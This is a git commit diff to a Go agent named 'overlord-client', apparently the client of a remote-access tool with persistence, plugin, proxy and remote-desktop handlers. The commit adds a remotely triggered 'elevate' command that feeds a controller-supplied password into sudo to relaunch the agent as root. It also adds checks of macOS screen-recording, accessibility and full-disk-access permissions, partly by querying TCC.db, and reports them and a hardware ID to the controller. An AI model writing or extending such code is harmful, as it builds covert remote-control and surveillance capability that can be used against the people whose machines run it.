new mac update for permission issues.

This commit is contained in:
KingKDot
2026-04-13 10:49:36 -05:00
parent 66393d5ba4
commit 792de1e22c
21 changed files with 480 additions and 29 deletions
+9 -2
View File
@@ -349,14 +349,21 @@ func firstNonEmpty(values ...string) string {
}
func deriveHWID() string {
machineID := platformMachineID()
if machineID != "" {
h := sha256.New()
h.Write([]byte(machineID))
h.Write([]byte("|"))
h.Write([]byte(runtime.GOOS))
return hex.EncodeToString(h.Sum(nil))
}
// fallback
h := sha256.New()
h.Write([]byte(hostname()))
h.Write([]byte("|"))
h.Write([]byte(os.Getenv("USERNAME")))
h.Write([]byte("|"))
h.Write([]byte(runtime.GOOS))
h.Write([]byte("|"))
h.Write([]byte(runtime.GOARCH))
return hex.EncodeToString(h.Sum(nil))
}
@@ -22,6 +22,7 @@ import (
"overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/sysinfo"
"overlord-client/cmd/agent/wire"
)
@@ -560,6 +561,26 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
return nil
case "desktop_start":
if goruntime.GOOS == "darwin" {
perms := sysinfo.DarwinPermissions()
var missing []string
if !perms["screenRecording"] {
missing = append(missing, "screenRecording")
}
if !perms["accessibility"] {
missing = append(missing, "accessibility")
}
if len(missing) > 0 {
log.Printf("desktop: macOS missing permissions: %v", missing)
detail, _ := json.Marshal(map[string]interface{}{
"reason": "permissions_denied",
"missing": missing,
"permissions": perms,
})
sendCommandResultSafe(env, cmdID, false, string(detail))
return nil
}
}
env.DesktopMu.Lock()
if env.DesktopCancel != nil {
env.DesktopCancel()
@@ -1922,6 +1943,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
return ErrReconnect
case "elevate":
payload, _ := envelope["payload"].(map[string]interface{})
password, _ := payload["password"].(string)
return HandleElevate(ctx, env, cmdID, password)
case "proxy_connect":
payload, _ := envelope["payload"].(map[string]interface{})
return HandleProxyConnect(ctx, env, cmdID, payload)
@@ -0,0 +1,91 @@
//go:build darwin
package handlers
import (
"context"
"fmt"
"log"
"os"
"os/exec"
"strings"
"time"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
if os.Getuid() == 0 {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "already running as root",
})
}
if password == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "password required for elevation",
})
}
exePath, err := os.Executable()
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
})
}
validateCmd := exec.Command("sudo", "-S", "-k", "true")
validateCmd.Stdin = strings.NewReader(password + "\n")
if err := validateCmd.Run(); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "incorrect password",
})
}
args := os.Args[1:]
sudoArgs := append([]string{"-S", "-k", exePath}, args...)
cmd := exec.Command("sudo", sudoArgs...)
cmd.Stdin = strings.NewReader(password + "\n")
cmd.Env = os.Environ()
nullFile, _ := os.OpenFile(os.DevNull, os.O_RDWR, 0)
if nullFile != nil {
cmd.Stdout = nullFile
cmd.Stderr = nullFile
}
if err := cmd.Start(); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("failed to start elevated process: %v", err),
})
}
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "elevating — new process started as root",
})
time.Sleep(500 * time.Millisecond)
os.Exit(0)
return nil
}
@@ -0,0 +1,19 @@
//go:build !darwin
package handlers
import (
"context"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "elevation via password is only supported on macOS",
})
}
+1
View File
@@ -614,6 +614,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
hello.RAM = hw.RAM
hello.IsAdmin = sysinfo.IsAdmin()
hello.Elevation = sysinfo.Elevation()
hello.Permissions = sysinfo.DarwinPermissions()
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
return fmt.Errorf("send hello: %w", err)
@@ -0,0 +1,64 @@
//go:build darwin
package sysinfo
import (
"os"
"os/exec"
"path/filepath"
"strings"
)
func IsAdmin() bool {
return os.Getuid() == 0
}
func Elevation() string {
if os.Getuid() == 0 {
return "admin"
}
return ""
}
func DarwinPermissions() map[string]bool {
return map[string]bool{
"screenRecording": checkScreenRecording(),
"accessibility": checkAccessibility(),
"fullDiskAccess": checkFullDiskAccess(),
"root": os.Getuid() == 0,
}
}
func checkScreenRecording() bool {
if os.Getuid() == 0 {
return true
}
exe, err := os.Executable()
if err != nil {
return false
}
if real, err := filepath.EvalSymlinks(exe); err == nil {
exe = real
}
home, err := os.UserHomeDir()
if err != nil || home == "" {
return false
}
db := filepath.Join(home, "Library", "Application Support", "com.apple.TCC", "TCC.db")
safeExe := strings.ReplaceAll(exe, "'", "''")
out, _ := exec.Command("sqlite3", db,
"SELECT auth_value FROM access WHERE service='kTCCServiceScreenCapture' AND client='"+safeExe+"' LIMIT 1",
).CombinedOutput()
return strings.TrimSpace(string(out)) == "2"
}
func checkAccessibility() bool {
err := exec.Command("osascript", "-e",
`tell application "System Events" to get name of first process`).Run()
return err == nil
}
func checkFullDiskAccess() bool {
_, err := os.ReadDir("/Library/Application Support/com.apple.TCC")
return err == nil
}
@@ -1,4 +1,4 @@
//go:build !windows
//go:build !windows && !darwin
package sysinfo
@@ -15,3 +15,7 @@ func Elevation() string {
}
return ""
}
func DarwinPermissions() map[string]bool {
return nil
}
@@ -61,3 +61,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool {
}
return false
}
func DarwinPermissions() map[string]bool {
return nil
}
+21 -20
View File
@@ -1,26 +1,27 @@
package wire
type Hello struct {
Type string `msgpack:"type"`
ID string `msgpack:"id"`
HWID string `msgpack:"hwid"`
Host string `msgpack:"host"`
OS string `msgpack:"os"`
Arch string `msgpack:"arch"`
Version string `msgpack:"version"`
User string `msgpack:"user"`
Monitors int `msgpack:"monitors"`
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
Country string `msgpack:"country,omitempty"`
BuildTag string `msgpack:"buildTag,omitempty"`
PublicKey string `msgpack:"publicKey,omitempty"`
Signature string `msgpack:"signature,omitempty"`
InMemory bool `msgpack:"inMemory,omitempty"`
CPU string `msgpack:"cpu,omitempty"`
GPU string `msgpack:"gpu,omitempty"`
RAM string `msgpack:"ram,omitempty"`
IsAdmin bool `msgpack:"isAdmin,omitempty"`
Elevation string `msgpack:"elevation,omitempty"`
Type string `msgpack:"type"`
ID string `msgpack:"id"`
HWID string `msgpack:"hwid"`
Host string `msgpack:"host"`
OS string `msgpack:"os"`
Arch string `msgpack:"arch"`
Version string `msgpack:"version"`
User string `msgpack:"user"`
Monitors int `msgpack:"monitors"`
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
Country string `msgpack:"country,omitempty"`
BuildTag string `msgpack:"buildTag,omitempty"`
PublicKey string `msgpack:"publicKey,omitempty"`
Signature string `msgpack:"signature,omitempty"`
InMemory bool `msgpack:"inMemory,omitempty"`
CPU string `msgpack:"cpu,omitempty"`
GPU string `msgpack:"gpu,omitempty"`
RAM string `msgpack:"ram,omitempty"`
IsAdmin bool `msgpack:"isAdmin,omitempty"`
Elevation string `msgpack:"elevation,omitempty"`
Permissions map[string]bool `msgpack:"permissions,omitempty"`
}
type EnrollmentChallenge struct {